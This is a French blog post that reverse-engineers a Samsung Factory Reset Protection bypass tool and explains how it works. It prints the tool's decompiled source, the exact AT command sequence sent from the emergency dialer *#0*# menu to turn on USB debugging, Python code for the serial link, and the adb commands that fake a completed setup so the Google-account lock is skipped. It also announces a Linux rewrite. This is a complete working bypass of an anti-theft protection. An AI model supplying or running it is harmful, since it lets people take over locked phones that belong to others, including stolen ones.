Analyse du bypass de Samsung FRP

Qu'est-ce que FRP ?

FRP signifie Factory Reset Protection. Il s’agit d’une fonction de protection de Google sur Android qui empêche d’utiliser un téléphone lié à un compte Google après une réinitialisation d’usine si vous ne connaissez pas le mot de passe du compte. Elle semble être l’équivalent du verrouillage d’activation iCloud des iPhones.

Outil existant

Le site web samfw a publié un outil appelé SamFw FRP Tool qui vous permet de supprimer le FRP après une réinitialisation d’usine en procédant comme suit :
  • Dans le menu Appel d’urgence, tapez *#0*#. Cela devrait ouvrir un menu qui vous permet de tester différentes fonctions du téléphone (haut-parleur, écran, etc…).
  • Cliquez sur « Remove FRP » dans l’outil, et autorisez le débogage USB sur le téléphone s’il vous le demande.

 

L’outil fonctionne très bien (testé sur plusieurs Samsungs), mais il y a quelques problèmes :
  • il ne fonctionne que sur Windows ;
  • on ne sait pas comment il fonctionne exactement.
Cependant, l’outil est développé en .Net donc s’il n’est pas obfusqué, on devrait pouvoir le reverser facilement.

Rétroconception de l'outil

$ file SamFwFRPTool.exe 
SamFwFRPTool.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Puisque l’outil est fait en .Net, nous utiliserons dnSpy pour le décompiler et comprendre ce qu’il y a sous le capot. Nous pouvons facilement obtenir le code source suivant :
 
private void btn_EnableAdb_Click(object sender, EventArgs e)
{
    int cur = this.comboPorts.SelectedIndex;
    bool flag = cur < 0;
    if (flag)
    {
        this.SendLog("No device selected", null, true, true);
    }
    else
    {
        Task.Run(delegate()
        {
            this.progressBarRunning(true);
            List<Form1.comInfo> list = this.listDevices;
            Form1.comInfo comInfo = list[cur];
            this.SendLog("Using port " + comInfo.name, new Color?(Color.Green), true, true);
            using (SerialPort serialPort = new SerialPort("COM" + comInfo.comport))
            {
                serialPort.RtsEnable = true;
                serialPort.DtrEnable = true;
                serialPort.WriteBufferSize = 921600;
                try
                {
                    serialPort.Open();
                }
                catch (UnauthorizedAccessException ex)
                {
                    this.progressBarRunning(false);
                    this.SendLog(ex.Message, new Color?(Color.Red), false, true);
                    return;
                }
                this.SendLog("Initial...", null, true, true);
                bool flag2 = !this.ATSend(serialPort, "AT+KSTRINGB=0,3\r\n");
                if (flag2)
                {
                    MessageBox.Show("Go to emergency dialer enter *#0*#, click OK when done");
                }
                this.SendLog("Enabling ADB...", null, true, true);
                this.SendLog("", null, true, true);
                this.SendLog("Method 1", null, true, true);
                this.SendLog("Step 1... ", null, true, false);
                bool flag3 = !this.ATSend(serialPort, "AT+DUMPCTRL=1,0\r\n");
                if (flag3)
                {
                    this.SendLog("FAIL", new Color?(Color.Red), false, true);
                }
                else
                {
                    this.SendLog("OK", new Color?(Color.Green), false, true);
                }
                this.SendLog("Step 2... ", null, true, false);
                bool flag4 = !this.ATSend(serialPort, "AT+DEBUGLVC=0,5\r\n");
                if (flag4)
                {
                    this.SendLog("FAIL", new Color?(Color.Red), false, true);
                }
                else
                {
                    this.SendLog("OK", new Color?(Color.Green), false, true);
                }
                this.SendLog("", null, true, true);
                this.SendLog("Method 2", null, true, true);
                this.SendLog("Step 1... ", null, true, false);
                bool flag5 = !this.ATSend(serialPort, "AT+SWATD=0\r\n");
                if (flag5)
                {
                    this.SendLog("FAIL", new Color?(Color.Red), false, true);
                }
                else
                {
                    this.SendLog("OK", new Color?(Color.Green), false, true);
                }
                this.SendLog("Step 2... ", null, true, false);
                bool flag6 = !this.ATSend(serialPort, "AT+ACTIVATE=0,0,0\r\n");
                if (flag6)
                {
                    this.SendLog("FAIL", new Color?(Color.Red), false, true);
                }
                else
                {
                    this.SendLog("OK", new Color?(Color.Green), false, true);
                }
                this.SendLog("Step 3... ", null, true, false);
                bool flag7 = !this.ATSend(serialPort, "AT+SWATD=1\r\n");
                if (flag7)
                {
                    this.SendLog("FAIL", new Color?(Color.Red), false, true);
                }
                else
                {
                    this.SendLog("OK", new Color?(Color.Green), false, true);
                }
                this.SendLog("Step 4... ", null, true, false);
                bool flag8 = !this.ATSend(serialPort, "AT+DEBUGLVC=0,5\r\n");
                if (flag8)
                {
                    this.SendLog("FAIL", new Color?(Color.Red), false, true);
                }
                else
                {
                    this.SendLog("OK", new Color?(Color.Green), false, true);
                }
            }
            this.SendLog("", null, true, true);
            this.SendLog("Enable ADB done", new Color?(Color.Green), true, true);
            this.SendLog("Running ADB command to remove FRP lock state...", null, true, true);
            string exe = Directory.GetCurrentDirectory() + "\\data\\adb.exe";
            this.SendLog("Please click to the allow USB Debugging on the screen. If not apprear, unplug and replug the cable", new Color?(Color.BlueViolet), true, true);
            string text = this.execute(exe, "kill-server");
            text = this.execute(exe, "wait-for-device");
            text = this.execute(exe, "push frp.bin /data/local/tmp/temp");
            text = this.execute(exe, "shell chmod 777 /data/local/tmp/temp");
            text = this.execute(exe, "shell /data/local/tmp/temp");
            this.SendLog(text, new Color?(Color.Brown), true, true);
            this.progressBarRunning(false);
            Process.Start("https://samfw.com");
        });
    }
}




private bool ATSend(SerialPort ATPort, string command)
{
    bool flag = !ATPort.IsOpen;
    bool result;
    if (flag)
    {
        result = false;
    }
    else
    {
        ATPort.WriteLine(command);
        string text = "";
        Stopwatch stopwatch = new Stopwatch();
        stopwatch.Start();
        bool flag4;
        do
        {
            Thread.Sleep(50);
            bool flag2 = !ATPort.IsOpen;
            if (flag2)
            {
                break;
            }
            text = ATPort.ReadExisting();
            bool flag3 = text.Contains("\r\nOK\r\n") || text.Contains("\r\nERROR\r\n");
            if (flag3)
            {
                break;
            }
            flag4 = (stopwatch.ElapsedMilliseconds > 3000L);
        }
        while (!flag4);
        Console.WriteLine(text);
        bool flag5 = text.Contains("\r\nOK\r\n");
        result = flag5;
    }
    return result;
}
Voici un aperçu du fonctionnement de l’outil :
  • D’une manière ou d’une autre, il est capable de communiquer avec le téléphone en utilisant un port série.
  • Sur ce port série, l’outil envoie des commandes AT au téléphone afin d’activer le débogage USB.
  • Ensuite, en utilisant adb, il pousse un binaire nommé frp.bin, le définit comme exécutable et l’exécute sur le téléphone.

Qu'est-ce qu'une commande AT ?

Les commandes AT permettent de communiquer avec le module GSM/MODEM du téléphone. Une ressource utile est atcommands.org et leur repo Github ici, car il contient des outils pour extraire toutes les commandes AT d’un firmware Samsung et même d’autres outils pour tester et interagir avec les commandes facilement. Ils fournissent également un outil nommé usbswitch qui peut être utilisé pour mettre un téléphone en mode modem USB sous Linux, qui est le mode nécessaire pour envoyer des commandes AT au téléphone.

D’autres ressources intéressantes concernant les commandes AT :

  • Un projet ici semble utiliser ces commandes pour automatiser l’envoi et la réception de SMS avec Python et un téléphone connecté via USB.
  • Un repo ici (repo supprimé) semble donner quelques informations sur les commandes AT.

Comment envoyer des commandes AT ?

L’envoi de commandes AT aux appareils Samsung doit se faire en 2 étapes sous Linux :
  • Tout d’abord, nous devons définir la configuration USB du périphérique à la valeur 2. Cela exposera un port série disponible sur /dev/ttyACM0. Cela peut être fait en Python en utilisant le bout de code suivant :
import usb.core
dev = usb.core.find(idVendor=0x04e8, idProduct=0x6860) 
dev.reset()
dev.set_configuration(0x2)

Cependant, pour une raison inconnue, ce code doit être exécuté deux fois pour fonctionner correctement. Les valeurs idVendor et idProduct sont spécifiques aux appareils Samsung et peuvent être trouvées à l’aide de la commande lsusb.

  • Ensuite, nous pouvons ouvrir une communication série (avec un baudrate de 115200) via USB en utilisant le code Python suivant :
import serial
import time
ser = serial.Serial("/dev/ttyACM0", baudrate=115200)
ser.write("MY_CMD".encode()) # To send a command
time.sleep(0.5)
r = ser.read_all() # To read the response
Par exemple, pour obtenir l’identifiant du modèle à l’aide des commandes AT, nous pouvons procéder comme suit :
ser.write("AT+GMM\r\n".encode())
time.sleep(0.5)
print(ser.read_all())
# AT+GMM
# SM-G960F
# OK

Comment les commandes AT sont utilisées dans l'outil

Pour effectuer le contournement du FRP, des commandes AT sont utilisées pour activer le débogage USB et donc adb. Cela est possible parce que Samsung a ajouté des commandes AT personnalisées pour permettre le débogage USB, mais aussi parce qu’ils ont laissé ouverte la communication série avec le modem via USB, et dans le cas particulier où le téléphone se trouve dans le menu *#0*# de la fonctionnalité d’appel d’urgence, le téléphone exécute les commandes AT qu’il reçoit. Les autres marques n’exposent pas un tel port série, donc ce contournement ne fonctionne que sur les appareils Samsung. L’outil en question tente d’exécuter les commandes AT suivantes :
AT+KSTRINGB=0,3
AT+DUMPCTRL=1,0
AT+DEBUGLVC=0,5
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1
AT+DEBUGLVC=0,5

L’envoi de cet ensemble de commandes AT à l’intérieur du menu *#0*# de la fonctionnalité d’appel d’urgence active le débogage USB.

Une fois que ADB est activé, les commandes suivantes sont exécutées :
push frp.bin /data/local/tmp/temp
chmod 777 /data/local/tmp/temp
/data/local/tmp/temp

Le fichier frp.bin est poussé sur l’appareil, marqué comme executable, puis exécuté.

Analyse du fichier frp.bin

La commande strings produit le résultat suivant :

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Le binaire est packé avec UPX, donc nous pouvons facilement l’unpacker :

file frp.bin 

frp.bin: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header


# sudo apt install upx-ucl
upx -d frp.bin 

                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     17880 <-     10556   59.04%    linux/arm    frp.bin

Unpacked 1 file.


file frp.bin 
frp.bin: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, BuildID[sha1]=4617177c231c2ae12d2ed6bfcb5bf4a325cfd9df, stripped

Maintenant, nous avons la version décompressée, et une fois lancé, les logs de l’outil nous apprennent qu’il s’agit d’Android Service Tool v1.0.2 @Copyright 2013-2017 Justin Davis (amoamare). Après avoir analysé le binaire en utilisant Ghidra, il semble que pour les téléphones ayant la valeur ro.secure=1, il exécute uniquement les commandes suivantes dans un shell adb :

settings put global setup_wizard_has_run 1
settings put secure user_setup_complete 1
content insert --uri content://settings/secure --bind name:s:DEVICE_PROVISIONED --bind value:i:1
content insert --uri content://settings/secure --bind name:s:user_setup_complete --bind value:i:1
content insert --uri content://settings/secure --bind name:s:INSTALL_NON_MARKET_APPS --bind value:i:1
am start -c android.intent.category.HOME -a android.intent.action.MAIN
# Wait 5 sec
am start -n com.android.settings/com.android.settings.Settings
# Wait 5 sec
reboot
Ces commandes font croire au téléphone que la configuration du téléphone (après la réinitialisation d’usine) est terminée, ce qui permet de contourner le FRP après un redémarrage.
 
Si ro.secure=0, le comportement est différent et plus complexe à expliquer.

Réécriture de l'outil en python

Maintenant que nous comprenons comment l’outil fonctionne, nous pouvons le réécrire en utilisant Python pour qu’il puisse être utilisé sur Linux (disponible sur notre repo Github).
  • Tout d’abord, nous avons besoin d’un script Python pour définir la configuration USB de l’appareil Samsung en mode modem (Configuration USB 2). Pour ce faire, nous nous inspirons de usbswitch et écrivons un équivalent usbswitcher.py.
  • Ensuite, nous avons besoin d’un script Python pour activer le débogage USB et donc ADB en utilisant des commandes AT. Ceci est implémenté dans le fichier at_utils.py.
  • Nous pouvons automatiser les commandes adb pour pousser le fichier frp.bin file ou exécuter des commandes adb pour contourner FRP sans le binaire. Ceci est implémenté dans le fichier adb_utils.py.
  • Enfin, nous pouvons automatiser le tout, ce qui est fait par le script main.py.

Conclusion

Au cours de cette analyse, nous avons appris que sur les appareils Samsung, nous pouvons accéder à une deuxième configuration USB qui ouvre une communication série, nous permettant d’envoyer des commandes AT. De plus, certaines combinaisons de commandes AT peuvent conduire à l’activation du débogage USB avant de configurer le téléphone et donc sans activer les options du développeur.
Enfin, en utilisant adb, il est possible de modifier certains paramètres afin de faire croire au téléphone que la configuration suite à une réinitialisation d’usine est terminé. Ceci permet de contourner le FRP puisque la vérification du FRP se fait à la fin de la configuration.